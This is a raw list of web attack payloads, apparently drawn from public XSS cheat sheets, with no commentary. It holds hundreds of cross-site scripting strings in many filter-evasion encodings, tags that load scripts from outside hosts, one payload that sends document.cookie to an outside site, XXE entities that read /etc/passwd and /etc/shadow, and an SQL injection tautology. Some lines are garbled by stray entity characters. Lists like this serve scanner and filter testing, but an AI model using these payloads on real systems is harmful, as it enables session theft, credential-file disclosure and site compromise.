<;FRAMESET>;<;FRAME SRC=";javascript:alert(';XSS';);";>;<;/FRAMESET>;
<;IFRAME SRC=";javascript:alert(';XSS';);";>;<;/IFRAME>;
<;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(';XSS';);";>;
<;IMG SRC=";javascript:alert(';XSS';);";>;
<;IMG SRC=javascript:alert(';XSS';)>;
<;IMG DYNSRC=";javascript:alert(';XSS';);";>;
<;IMG LOWSRC=";javascript:alert(';XSS';);";>;
<;IMG SRC=";http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode";>;
Redirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser
exp/*<;XSS STYLE=';no\xss:noxss(";*//*";);
<;STYLE>;li {list-style-image: url(";javascript:alert(&#39;XSS&#39;)";);}<;/STYLE>;<;UL>;<;LI>;XSS
<;IMG SRC=';vbscript:msgbox(";XSS";)';>;
<;LAYER SRC=";http://ha.ckers.org/scriptlet.html";>;<;/LAYER>;
<;IMG SRC=";livescript:[code]";>;
%BCscript%BEalert(%A2XSS%A2)%BC/script%BE
<;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(';XSS';);";>;
<;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K";>;
<;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(';XSS';);";>;
<;IMG SRC=";mocha:[code]";>;
<;OBJECT TYPE=";text/x-scriptlet"; DATA=";http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>;
<;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(';XSS';)>;<;/OBJEC
<;EMBED SRC=";http://ha.ckers.org/xss.swf"; AllowScriptAccess=";always";>;<;/EMBED>;
a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(';XSS';);";)";;&#10;eval(a+b+c+d);
<;STYLE TYPE=";text/javascript";>;alert(';XSS';);<;/STYLE>;
<;IMG STYLE=";xss:expr/*XSS*/ession(alert(';XSS';))";>;
<;XSS STYLE=";xss:expression(alert(';XSS';))";>;
<;STYLE>;.XSS{background-image:url(";javascript:alert(';XSS';)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;
<;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(';XSS';)";)}<;/STYLE>;
<;LINK REL=";stylesheet"; HREF=";javascript:alert(';XSS';);";>;
<;LINK REL=";stylesheet"; HREF=";http://ha.ckers.org/xss.css";>;
<;STYLE>;@import';http://ha.ckers.org/xss.css';;<;/STYLE>;
<;META HTTP-EQUIV=";Link"; Content=";<;http://ha.ckers.org/xss.css>;; REL=stylesheet";>;
<;STYLE>;BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss";)}<;/STYLE>;
<;TABLE BACKGROUND=";javascript:alert(';XSS';)";>;<;/TABLE>;
<;TABLE>;<;TD BACKGROUND=";javascript:alert(';XSS';)";>;<;/TD>;<;/TABLE>;
<;HTML xmlns:xss>;
<;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(';XSS';);";>;]]>;
<;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(';XSS';)";>;<;/B>;<;/I>;<;/XML>;
<;XML SRC=";http://ha.ckers.org/xsstest.xml"; ID=I>;<;/XML>;
<;HTML>;<;BODY>;
<;!--[if gte IE 4]>;
<;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(';XSS';)<;/SCRIPT>;";>;
<;XSS STYLE=";behavior: url(http://ha.ckers.org/xss.htc);";>;
<;SCRIPT SRC=";http://ha.ckers.org/xss.jpg";>;<;/SCRIPT>;
<;!--#exec cmd=";/bin/echo ';<;SCRIPT SRC';";-->;<;!--#exec cmd=";/bin/echo ';=http://ha.ckers.org/xss.js>;<;/SCRIPT>;'
<;? echo(';<;SCR)';;
<;BR SIZE=";&;{alert(';XSS';)}";>;
<;IMG SRC=JaVaScRiPt:alert(';XSS';)>;
<;IMG SRC=javascript:alert(&;quot;XSS&;quot;)>;
<;IMG SRC=`javascript:alert(";RSnake says, ';XSS';";)`>;
<;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>;
<;IMG RC=&;#106;&;#97;&;#118;&;#97;&;#115;&;#99;&;#114;&;#105;&;#112;&;#116;&;#58;&;#97;&;#108;&;#101;&;#114;&;#116;&;#
```

```
<;IMG RC=&;#0000106&;#0000097&;#0000118&;#0000097&;#0000115&;#0000099&;#0000114&;#0000105&;#0000112&;#0000116&;#0000058
<;DIV STYLE=";background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\
<;IMG SRC=&;#x6A&;#x61&;#x76&;#x61&;#x73&;#x63&;#x72&;#x69&;#x70&;#x74&;#x3A&;#x61&;#x6C&;#x65&;#x72&;#x74&;#x28&;#x27&
<;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(';XSS'
\";;alert(';XSS';);//
<;/TITLE>;<;SCRIPT>;alert("XSS");<;/SCRIPT>;
<;STYLE>;@im\port';\ja\vasc\ript:alert(";XSS";)';;<;/STYLE>;
<;IMG SRC=";jav&#x09;ascript:alert(';XSS';);";>;
<;IMG SRC=";jav&;#x09;ascript:alert(';XSS';);";>;
<;IMG SRC=";jav&;#x0A;ascript:alert(';XSS';);";>;
<;IMG SRC=";jav&;#x0D;ascript:alert(';XSS';);";>;
<;IMG&#x0D;SRC&#x0D;=&#x0D;";&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;
perl -e ';print ";<;IM SRC=java\0script:alert(";XSS";)>";;';>; out
perl -e ';print ";&;<;SCR\0IPT>;alert(";XSS";)<;/SCR\0IPT>;";;'; >; out
<;IMG SRC="; &;#14;  javascript:alert(';XSS';);";>;
<;SCRIPT/XSS SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
<;SCRIPT SRC=http://ha.ckers.org/xss.js
<;SCRIPT SRC=//ha.ckers.org/.j>;
<;IMG SRC=";javascript:alert(';XSS';)";
<;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;
<;<;SCRIPT>;alert(";XSS";);//<;<;/SCRIPT>;
<;IMG ";";";>;<;SCRIPT>;alert(";XSS";)<;/SCRIPT>;";>;
<;SCRIPT>;a=/XSS/
<;SCRIPT a=";>;"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT =";blah"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=";blah"; ';'; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT ";a=';>;';"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=`>;` SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT>;document.write(";<;SCRI";);<;/SCRIPT>;PT SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;SCRIPT a=";>';>"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
<;A HREF=";http://66.102.7.147/";>;XSS<;/A>;
<;A HREF=";http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D";>;XSS<;/A>;
<;A HREF=";http://1113982867/";>;XSS<;/A>;
<;A HREF=";http://0x42.0x0000066.0x7.0x93/";>;XSS<;/A>;
<;A HREF=";http://0102.0146.0007.00000223/";>;XSS<;/A>;
<;A HREF=";h&#x0A;tt&#09;p://6&;#09;6.000146.0x7.147/";>;XSS<;/A>;
<;A HREF=";//www.google.com/";>;XSS<;/A>;
<;A HREF=";//google";>;XSS<;/A>;
<;A HREF=";http://ha.ckers.org@google";>;XSS<;/A>;
<;A HREF=";http://google:ha.ckers.org";>;XSS<;/A>;
<;A HREF=";http://google.com/";>;XSS<;/A>;
<;A HREF=";http://www.google.com./";>;XSS<;/A>;
<;A HREF=";javascript:document.location=';http://www.google.com/';";>;XSS<;/A>;
<;A HREF=";http://www.gohttp://www.google.com/ogle.com/";>;XSS<;/A>;
<script>document.vulnerable=true;</script>
<img SRC="jav ascript:document.vulnerable=true;">
<img SRC="javascript:document.vulnerable=true;">
<img SRC=" &#14; javascript:document.vulnerable=true;">
<body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
<<SCRIPT>document.vulnerable=true;//<</SCRIPT>
<script <B>document.vulnerable=true;</script>
<img SRC="javascript:document.vulnerable=true;"
<iframe src="javascript:document.vulnerable=true; <
<script>a=/XSS/\ndocument.vulnerable=true;</script>
\";document.vulnerable=true;;//
</title><SCRIPT>document.vulnerable=true;</script>
<input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<body BACKGROUND="javascript:document.vulnerable=true;">
<body ONLOAD=document.vulnerable=true;>
<img DYNSRC="javascript:document.vulnerable=true;">
<img LOWSRC="javascript:document.vulnerable=true;">
<bgsound SRC="javascript:document.vulnerable=true;">
<br SIZE="&{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
<img SRC='vbscript:document.vulnerable=true;'>
1script3document.vulnerable=true;1/script3
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
<meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
<IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
<table BACKGROUND="javascript:document.vulnerable=true;">
<table><TD BACKGROUND="javascript:document.vulnerable=true;">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
<div STYLE="width: expression(document.vulnerable=true);">
<style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
<img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
<XSS STYLE="xss:expression(document.vulnerable=true)">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
<style TYPE="text/javascript">document.vulnerable=true;</style>
<style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
<style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
<base HREF="javascript:document.vulnerable=true;//">
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></
<XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATA
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="
<html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#defa
<? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
<meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
<head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=tr
<a href="javascript#document.vulnerable=true;">
<div onmouseover="document.vulnerable=true;">
<img src="javascript:document.vulnerable=true;">
<img dynsrc="javascript:document.vulnerable=true;">
<input type="image" dynsrc="javascript:document.vulnerable=true;">
<bgsound src="javascript:document.vulnerable=true;">
&<script>document.vulnerable=true;</script>
&{document.vulnerable=true;};
<img src=&{document.vulnerable=true;};>
<link rel="stylesheet" href="javascript:document.vulnerable=true;">
<iframe src="vbscript:document.vulnerable=true;">
<img src="mocha:document.vulnerable=true;">
<img src="livescript:document.vulnerable=true;">
<a href="about:<script>document.vulnerable=true;</script>">
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
<body onload="document.vulnerable=true;">
<div style="background-image: url(javascript:document.vulnerable=true;);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression(document.vulnerable=true;);">
<style type="text/javascript">document.vulnerable=true;</style>
<object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
<style><!--</style><script>document.vulnerable=true;//--></script>
<<script>document.vulnerable=true;</script>
<![<!--]]<script>document.vulnerable=true;//--></script>
<!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
<img src="blah"onmouseover="document.vulnerable=true;">
<img src="blah>" onmouseover="document.vulnerable=true;">
<xml src="javascript:document.vulnerable=true;">
<xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
<style>@import'http://www.securitycompass.com/xss.css';</style>
<meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet">
<style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
<OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
<HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss>
<script SRC="http://www.securitycompass.com/xss.jpg"></script>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"-
<script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
<script =">" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
<script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
<script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
```

```
<script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
<script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
<div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
<;/script>;<;script>;alert(1)<;/script>;
<;/br style=a:expression(alert())>;
<;scrscriptipt>;alert(1)<;/scrscriptipt>;
<;br size=\";&;{alert(&#039;XSS&#039;)}\";>;
perl -e &#039;print \";<;IMG SRC=java\0script:alert(\";XSS\";)>;\";;&#039; >; out
perl -e &#039;print \";<;SCR\0IPT>;alert(\";XSS\";)<;/SCR\0IPT>;\";;&#039; >; out
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
<~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
<~/XSS STYLE=xss:expression(alert('XSS'))>
"><script>alert('XSS')</script>
</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
XSS STYLE=xss:e/**/xpression(alert('XSS'))>
</XSS STYLE=xss:expression(alert('XSS'))>
>"><script>alert("XSS")</script>&
"><STYLE>@import"javascript:alert('XSS')";</STYLE>
>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%2
>%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
">
>"
'';!--"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS<WBR>&quot;)>
<IMGSRC=&#106;&#97;&#118;&#97;&<WBR>#115;&#99;&#114;&#105;&#112;&<WBR>#116;&#58;&#97;&#108;&#101;&<WBR>#114;&#116;&#40;
<IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0000
<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28&<WBR>#x27&#x58&
<IMG SRC="jav&#x0A;ascript:alert(<WBR>'XSS');">
<IMG SRC="jav&#x0D;ascript:alert(<WBR>'XSS');">
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]>
<script>alert('XSS')</script>
%3cscript%3ealert('XSS')%3c/script%3e
%22%3e%3cscript%3ealert('XSS')%3c/script%3e
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=javascript:alert('XSS')>
<img src=xss onerror=alert(1)>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
<<SCRIPT>alert("XSS");//<</SCRIPT>
%253cscript%253ealert(1)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
foo<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))
```

```
<marquee onstart='javascript:alert('1');'>=(■_■)=
<iframe src="http://ha.ckers.org/scriptlet.html"></iframe>
<;/script>;<;script>;alert(1)<;/script>;
```